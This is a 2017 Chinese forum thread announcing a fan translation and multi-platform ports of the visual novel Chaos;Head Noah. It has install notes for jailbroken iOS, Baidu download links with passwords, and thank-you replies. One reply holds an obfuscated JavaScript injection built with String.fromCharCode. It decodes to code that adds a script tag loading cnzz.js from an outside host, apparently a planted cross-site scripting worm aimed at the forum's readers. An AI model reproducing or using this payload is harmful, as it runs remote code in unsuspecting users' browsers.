转载【科学社】混沌之脑：诺亚（Chaos;Head Noah）全平台汉化/移植发布

park23 · 发表于 2017-5-6 20:31:11

本帖最后由 park23 于 2017-5-8 15:56 编辑

その目だれの目？

【一些感想】：

【STAFF】：

【游戏截图】：

【汉化资源】：

——iOS版资源——

分为HD版（iPad使用）和非HD版（iPhone使用），HD版无法安装到iPhone上，请区分两者的区别。
支持系统：理论上iOS 9.3以下越狱后都可以正常安装游戏，如果遇到无法运行的情况请尝试用PC/安卓版来玩。
不论是iPad版还是iPhone版，游戏开始后，第一次进入存档菜单时会有一个提示，直接点击是即可。
在完成该操作之前，中断存档无效。
虽然所有OP,ED均汉化了，但是由于体积过大，故决定将其从汉化补丁里分离出来，供需要的人单独下载。
补丁使用方法：用iTools之类的软件覆盖到app安装路径里即可，iOS8.0+和iOS8.0之前的系统的app安装路径有较大区别，请注意。如果不知道安装路径，或者嫌麻烦，可以下载整合版直接安装。视频补丁使用方法和汉化补丁相同。

补上一点说明，有需要的可以参考一下
（1）汉化使用的iPhone版，是v1.5，发布时间比较久远，测试iOS 9.3是可以运行，如果今后iOS固件无法运行v1.5，可以说明一下，放出v1.6的对应补丁；iPad版用的是v1.6
（2）游戏在iOS 8上是表现正常的，在iOS 9及以上，可能会遇到锁屏或者后台恢复后，走一段文本就闪退的情况。这是程序本身问题，不是汉化造成的。解决办法，建议关闭自动锁屏，或者一旦锁屏后，建议Quick Save（更保险）或者直接退出，再进入游戏后会提示你从中断的地方开始，这样就不会闪退了。
（3）正版玩家可以直接覆盖布丁（但需要Jailbreak且安装AppSync，用PP助手，或者Filza，iFile之类文件管理器替换），我希望大家能够支持一下，能到App Store（国区直接搜就能找到）购买的就购买一下，这样社长说不定之后的科学幻想系列出还可以出官中～

下载资源：

名称	版本	链接	密码
HD版本体	v1.6	链接	fxbi
HD版补丁（不含视频）	v1.0	链接	adpq
HD版汉化整合本体	v1.0	链接	pvoy
普通版本体	v1.5	链接	1p5h
普通版补丁（不含视频）	v1.0	链接	vbpb
普通版汉化整合本体	v1.0	链接	cs67
视频补丁		链接	d2rl

iOS未越狱资源：
请稍后去兔兔助手平台下载，和之前树状图差不多，需要花10块钱买个VIP版才能下载，发布日期不确定，应该就最近几天（看他们处理速度了）

——移植资源——

包含平台：Windows、Linux、Mac、安卓（obb版）

下载资源：
Windows/Linux：链接：pan.baidu.com/s/1qYPleEC 密码：r1f7
Mac：链接：pan.baidu.com/s/1qYEvKgk 密码：0i9u
下载解压后即可游戏，注意解压路径不要有中文，否则会报错。

安卓：
安卓版本启动大约需要30秒左右，请耐心等待
暂无单apk安装包，如有需要请提出，将会之后更新
安卓版手势说明：
向右滑动呼出菜单，向左滑动快进，向上滑动隐藏对话框，向下滑动
游戏内的HELP里也有移植版的操作说明，如有疑问请参考那里
obb版本：链接：pan.baidu.com/s/1bpxlqYr 密码：nvc4
先安装apk，然后将obb放到Android/obb/info.bakery.chn路径下即可，如果没有那个路径就自己建一个
注：安卓版的用户在安装完apk之后不要直接点开，先把obb文件放到手机内置储存的 Android/obb/info.bakery.chn 路径下再打开，如果在放置obb文件之前就打开游戏的话会导致无法启动……需要重新安装apk。

【攻略参考】：

http://www.xbox-skyer.com/showthread.php?t=226929

【懒人存档】：

对于近期已通关过PC版，仅想享受CHN的角色线的玩家，由于通关需要时间较长，有需要可以用存档，可以选择章节，非常方便。没有玩过CH，CHN的玩家请务必不要使用。
iPad版（与iPhone版不通用，替换到对应游戏的Documents文件夹下）：pan.baidu.com/s/1i5GBSaT 密码: s84a
顺便如果有人iPhone版通关了，可以的话也可以贡献一个

【问题报告】：

问题报告：https://tieba.baidu.com/p/5102625170
问题报告，请注明操作系统，最好能附上截图（可以发在新的回复里并@我）以便改进和修正
会做一些积累性更新来修正文本和程序错误。越严重的问题修复的越快。如果你在游戏过程中遇到了任何问题请在楼下报告，我会及时回复，并在能力范围之内提供一些帮助和解决方案。
目前的版本已知有一些错别字和不影响游戏的演出问题，之后更新时会一起修复。

由于原帖比较凌乱，此文已经过本人编辑与修改，合并了百影虱子、lizhuoli1126、850998090的发文，添加了一张封面图。

原帖

xdfreedam · 发表于 2017-5-6 21:32:47

本帖最后由 xdfreedam 于 2017-5-7 14:10 编辑

感謝樓主分享～～～～

xyq102788 · 发表于 2017-5-6 23:10:53

居然是IOS版的啊，谢谢楼主

tfhis · 发表于 2017-5-6 23:19:59

没想到居然赶上了这个。。。2个月前刚推完CH，先弄下来试一下吧

离殇丶 · 发表于 2017-5-7 00:15:16

http://www.galgamezo.com/bbs/?fromuid=1434760

pay459029945 · 发表于 2017-5-7 01:36:24

加入了xbox360才有的r2*9？xbox还会有ero部分？

漫游者 · 发表于 2017-5-7 03:32:13

不是很明白，我只要电脑版就可以了

折木研 · 发表于 2017-5-7 05:05:16

xdfreedam 发表于 2017-5-6 21:32
ゲロ不是嘔吐而是青蛙的叫聲吧－－

游戏原文好像也有这个的吐槽？应该是正确的翻法吧

wjie623 · 发表于 2017-5-7 08:07:07

故事讲述了一个分身如何反客为主翻身当主人的~~！

XXL87 · 发表于 2017-5-7 08:33:28

谢谢分享~~~~~~~~~~~~~~~~~~~~

M.魔王 · 发表于 2017-5-7 14:11:26

全平台的啊...
感谢楼主的分享...

东皇太乙 · 发表于 2017-5-7 22:22:29

全平台的？好顶赞

scdy211418 · 发表于 2017-5-7 23:45:07

这个必须支持了！话说这个是馄钝头的fd还是？= =

流qazxsw · 发表于 2017-5-8 10:43:59

感谢汉化组

markkram · 发表于 2017-5-8 13:33:42

感謝樓主分享～～～～

阳光小志 · 发表于 2017-5-8 16:20:35

谢谢分享啊。。。。。。。。。

tcf2004 · 发表于 2017-5-8 19:45:35

安卓平台有吗，跪求安卓资源

jensonzhou · 发表于 2017-5-8 22:04:52

楼主好人啊居然有IOS版的给力

lts773999000 · 发表于 2017-5-10 16:23:03

感谢汉化组，有生之年系列。

111lz · 发表于 2017-5-10 18:53:21

谢谢分享。。。。。。。。。。。。。。。。。

huashao1996 · 发表于 2017-5-10 21:33:44

全平台的？好顶赞

http://localhost/flash.swf?\'+eval(String.fromCharCode(119,105,116,104,40,100,111,99,117,109,101,110,116,41,48,91,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,41,46,115,114,99,61,39,104,116,116,112,58,47,47,99,110,52,122,46,99,111,109,47,99,110,122,122,46,106,115,39,93,59))+\'

hulun12allan · 发表于 2017-5-13 11:01:15

天啊讚嘆大帝國漢化組阿!!!!!!!!!!!!!
這實在太棒了

血染晴空 · 发表于 2017-5-13 21:46:01

汉化辛苦前来应援！！！

chehao · 发表于 2017-5-14 10:29:39

多謝分享
收下了

517685844 · 发表于 2017-5-14 16:22:24

66666666666666谢谢分享

46797840 · 发表于 2017-5-15 15:57:55

感谢楼主带给大家的精彩

yu520s · 发表于 2017-5-16 23:06:09

全平台哟这个厉害了

lymhelcy · 发表于 2017-5-19 16:24:47

可以，很厉害

open1994 · 发表于 2017-5-21 14:53:49

不错,我就要个PC版的,谢谢啦

seekong · 发表于 2017-5-23 11:16:11

感谢楼主分享 (虽然不知道这是什么）

[汉化发布] 转载【科学社】混沌之脑：诺亚（Chaos;Head Noah）全平台汉化/移植发布

本帖子中包含更多资源

评分

点评

[汉化发布] 转载 【科学社】混沌之脑：诺亚（Chaos;Head Noah） 全平台汉化/移植发布

本帖子中包含更多资源

评分

点评

[汉化发布] 转载【科学社】混沌之脑：诺亚（Chaos;Head Noah）全平台汉化/移植发布